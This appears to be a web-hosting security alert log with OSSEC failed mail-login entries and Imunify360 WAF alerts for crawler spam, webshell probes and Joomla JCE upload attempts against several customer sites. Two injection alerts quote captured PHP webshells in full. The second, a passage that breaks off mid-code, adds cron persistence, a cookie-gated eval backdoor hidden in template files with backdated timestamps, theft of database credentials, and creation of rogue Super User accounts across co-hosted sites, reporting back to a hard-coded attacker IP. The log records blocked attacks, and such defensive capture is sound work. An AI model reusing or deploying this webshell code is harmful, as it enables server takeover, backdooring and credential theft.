2026-07-06 04:26:35 dovecot_login authenticator failed for H=cm125-59-252-103.hkcable.com.hk ([111.26.62.39]) [125.59.252.103]:54208: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-06 04:36:27 dovecot_login authenticator failed for H=([49.124.154.173]) [121.148.184.47]:41599: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 \xe0\xb8\x84\xe0\xb8\xa5\xe0\xb8\xb4\xe0\xb8\x9b\xe0\xb8\xab\xe0\xb8\xa5\xe0\xb8\xb8\xe0\xb8\x94\xe0\xb8\x81\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x95\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xa2 (<a href=\"https://www.clipxvk.com/\">https://www.clipxvk.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/fnaf-unblocked\">fnaf unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-06 04:39:55 dovecot_login authenticator failed for H=([124.160.45.26]) [59.12.212.38]:33218: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.29.22
country_id: 2963597
description:
2026-07-06 04:41:53 dovecot_login authenticator failed for H=(2-55-75-176.orange.net.il) [207.254.29.22]:55844: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-06 04:42:11 dovecot_login authenticator failed for H=([70.166.167.59]) [94.16.17.139]:48312: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 94.130.11.28
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36||MV:/wp-json/wp/v2/users/me||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\n$test = \"test_732853\";\nif(isset($_GET['test'])){\n    echo $_GET['test'];\n}\necho $test;\n?>||MVN:ARGS:content||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 103.121.102.76
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\nfunction getuid(){\n    $uid = posix_geteuid();\n    if($uid === false){\n        $uid = shell_exec(\"id -u 2>/dev/null\");\n        if($uid === null){\n            $uid = \"unknown\";\n        }\n    }\n    return trim($uid);\n}\n\n$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : (isset($_POST['cmd']) ? $_POST['cmd'] : '');\nif($cmd){\n    echo \"<root>\";\n    echo \"<uid>\" . getuid() . \"</uid>\";\n    echo \"<command>\" . htmlspecialchars($cmd) . \"</command>\";\n    echo \"<output>\";\n    system($cmd);\n    echo \"</output>\";\n    echo \"</root>\";\n}\n?>||MVN:ARGS:content||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-06 04:51:21 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net ([106.246.89.70]) [64.207.225.55]:34218: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.34.164.13
country_id: 6252001
description:
2026-07-06 04:50:31 dovecot_login authenticator failed for H=([174.77.111.220]) [192.34.164.13]:64491: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 77.68.87.67
country_id: 2635167
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/travelinbh/public_html/images/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 77.68.87.67
country_id: 2635167
domain: ogocindia.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/ogocindia/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-06 04:58:50 dovecot_login authenticator failed for H=([46.44.0.185]) [125.23.255.134]:56448: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-06 04:59:34 dovecot_login authenticator failed for H=(ipmapt-72-195-114-165.oc.oc.cox.net) [101.13.5.63]:32816: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.226.175
country_id: 2661886
description:
2026-07-06 05:01:24 dovecot_login authenticator failed for H=90-230-226-175-no2550.tbcn.telia.com (ool-4573b2c4.dyn.optonline.net) [90.230.226.175]:58662: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.168
country_id: 1269750
description:
2026-07-06 05:01:56 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [122.187.229.168]:41748: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-06 05:02:29 dovecot_login authenticator failed for H=(node-177.242.193-178.avelacom.ru) [71.12.241.225]:45622: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 180.251.155.220
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shadowxfriska_ndql3q.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-06 05:03:04 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net (151.237.115.206.pronet.bg) [111.70.11.38]:33481: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77240000
name: IM360 WAF: Protecting Joomla folder
abuser: 180.251.155.220
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Protecting Joomla folder||MVN:REQUEST_FILENAME||MV:/images/stories/shadowxfriska_ndql3q.php||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 170.205.31.43
country_id: 6252001
domain: www.yukticlick.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.25||T:APACHE||REQUEST_URI:/wp-content/plugins/forms-for-divi/readme.txt||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 180.251.155.220
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/shadowxfriska_ndql3q.php||SC:/home/globalgroupoman/public_html/images/shadowxfriska_ndql3q.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.157.252.162
country_id: 2260494
description:
2026-07-06 05:04:28 dovecot_login authenticator failed for H=([45.170.50.2]) [197.157.252.162]:44473: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 180.251.155.220
country_id: 1643084
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:shadowxfriska_ndql3q.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.40.45.223
country_id: 1861060
description:
2026-07-06 05:05:21 dovecot_login authenticator failed for H=p4095-ipbfpfx02osakakita.osaka.ocn.ne.jp ([192.111.143.93]) [60.40.45.223]:57272: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.72.56.178
country_id: 1668284
description:
2026-07-06 05:09:09 dovecot_login authenticator failed for H=([220.126.215.120]) [192.72.56.178]:40321: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-06 05:09:33 dovecot_login authenticator failed for H=([58.56.128.190]) [182.95.109.138]:59270: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.231.60.254
country_id: 1562822
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/11/01/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvac-maintenance-tune-up-herculaneum-mo.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.189.227.146
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-07-06 05:13:21 dovecot_login authenticator failed for H=([142.54.235.12]) [77.74.34.30]:52129: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: futuracare.com.au
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-06 05:18:35 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net ([112.31.93.229]) [110.25.105.240]:54146: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.57.125
country_id: 1668284
description:
2026-07-06 05:19:02 dovecot_login authenticator failed for H=221-120-57-125.emome-ip.hinet.net (wsip-70-166-137-91.fv.ks.cox.net) [221.120.57.125]:57366: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.147.111.106
country_id: 1522867
description:
2026-07-06 05:19:44 dovecot_login authenticator failed for H=(nsg-corporate-70.104.187.122.airtel.in) [91.147.111.106]:65096: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 51.68.171.141
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:8.25||T:APACHE||MV:/assets/images/accesson.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.84.178
country_id: 3437598
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/22/strategy-development-for-clients/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.180
country_id: 2542007
description:
2026-07-06 05:26:31 dovecot_plain authenticator failed for H=(inintry) [102.53.15.180]:33320: 535 Incorrect authentication data (set_id=admin@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.24.203.130
country_id: 1819730
domain: apkmetal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/apkmetals/public_html/uploads||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.84.41.51
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/bring-cinema-sound-and-smart-technology-into-your-space-with-metro-digital-media HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 178.233.20.100
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:dr.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-07-06 05:37:11 dovecot_login authenticator failed for H=([125.89.160.153]) [122.160.11.40]:57909: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.35.187
country_id: 1835841
description:
2026-07-06 05:37:47 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [182.31.35.187]:37634: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.207.246.3
country_id: 1835841
description:
2026-07-06 05:38:14 dovecot_login authenticator failed for H=([24.249.199.9]) [175.207.246.3]:39833: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 77.68.87.67
country_id: 2635167
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/combinations/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-06 05:39:47 dovecot_login authenticator failed for H=([174.77.111.220]) [197.219.208.58]:37180: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.72.145.120
country_id: 1835841
description:
2026-07-06 05:42:03 dovecot_login authenticator failed for H=([221.1.218.230]) [61.72.145.120]:42539: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/params/d59qy0.php||SC:/home/alnay/public_html/images/params||


plugin: modsec
rule: 77140164
name: IM360 WAF: PHP Injection Low value
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: PHP Injection Low value||MV:<?php\nerror_reporting(0);\nob_start();\n\ndefine('_C','_jss');\ndefine('_S','a8f3k2p9x1');\n\nfunction _cb_url(){return isset($_POST['cb'])&&$_POST['cb']?$_POST['cb']:'http://208.84.101.239:8888/collect';}\nfunction _a(){return isset($_COOKIE[_C])&&md5($_COOKIE[_C])===md5(_S);}\nfunction _r($d){ob_end_clean();header('Content-Type:application/json');echo json_encode($d);exit;}\nfunction _404(){ob_end_clean();header('HTTP/1.0 404 Not Found');$h=isset($_SERVER['HTTP_HOST'])?htmlspecialchars($_SERVER['HTTP_HOST']):'';$p=isset($_SERVER['SERVER_PORT'])?$_SERVER['SERVER_PORT']:80;echo'<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Debian) Server at '.$h.' Port '.$p.'</address></body></html>';exit;}\nfunction _gc($t,$k){preg_match('/public \\$'.$k.'\\s*=\\s*\\'([^\\']*)\\'/i',$t,$m);return isset($m[1])?$m[1]:'';}\n\nfunction _ex($cmd){\n    if(function_exists('shell_exec'))return @shell_exec($cmd);\n    if(function_exists('exec')){@exec($cmd,$o);return implode(\"\\n\",$o);}\n    if(function_exists('proc_open')){\n        $p=@proc_open($cmd,array(1=>array('pipe','w'),2=>array('pipe','w')),$pi);\n        if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__FILE__);\n    for($i=0;$i<8;$i++){\n        $f=$d.DIRECTORY_SEPARATOR.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('DOCUMENT_ROOT'))$roots[]=getenv('DOCUMENT_ROOT');\n    if(getenv('CONTEXT_DOCUMENT_ROOT'))$roots[]=getenv('CONTEXT_DOCUMENT_ROOT');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'JConfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'JConfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_SERVER['DOCUMENT_ROOT'])?realpath($_SERVER['DOCUMENT_ROOT']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,CURLOPT_POST,1);\n            @curl_setopt($ch,CURLOPT_POSTFIELDS,$body);\n            @curl_setopt($ch,CURLOPT_HTTPHEADER,array('Content-Type: application/json'));\n            @curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\n            @curl_setopt($ch,CURLOPT_TIMEOUT,5);\n            @curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'POST','header'=>'Content-Type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','url'=>(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']?'https':'http').'://'.(isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'').(isset($_SERVER['REQUEST_URI'])?$_SERVER['REQUEST_URI']:''),'action'=>$action,'data'=>$data,'ts'=>date('Y-m-d H:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_SERVER['HTTP_HOST'])?$_SERVER['HTTP_HOST']:'','shell'=>__FILE__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__FILE__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo OK'));\n    $cron_ok=((strpos($cr,'OK')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"SELECT template FROM {$pfx}template_styles WHERE home=1 AND client_id=0 LIMIT 1\");\n                if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_SERVER[\\'HTTP_USER_AGENT\\'])?$_SERVER[\\'HTTP_USER_AGENT\\']:\\'\\')&&@md5(@$_COOKIE[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_POST[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'Set cookie _jss='.$sk.' then POST d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -I{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($base,RecursiveDirectoryIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);\n            $it->setMaxDepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getFilename()==='configuration.php'){\n                    $d=$f->getPath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getPathname());\n                        if($c&&strpos($c,'JConfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(Exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'JConfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='P@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"SET sql_mode=''\");\n            $hh=password_hash($np,PASSWORD_BCRYPT);\n            $ne=$nu.'@secure.local';\n            $con->query(\"INSERT INTO {$pfx}users (name,username,email,password,block,sendEmail,registerDate,lastvisitDate,activation,params,lastResetTime,otpKey,otep,requireReset) VALUES ('$nu','$nu','$ne','$hh',0,1,NOW(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"SELECT id FROM {$pfx}usergroups WHERE title='Super Users' LIMIT 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"INSERT INTO {$pfx}user_usergroup_map (user_id,group_id) VALUES ($uid,$gid)\");\n                $con->query(\"INSERT INTO {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) SELECT MAX(id),MAX(rgt)+1,MAX(rgt)+2,1,CONCAT('com_users.user.',$uid),'$nu','{}' FROM {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_POST['sql'])?$_POST['sql']:'';\n    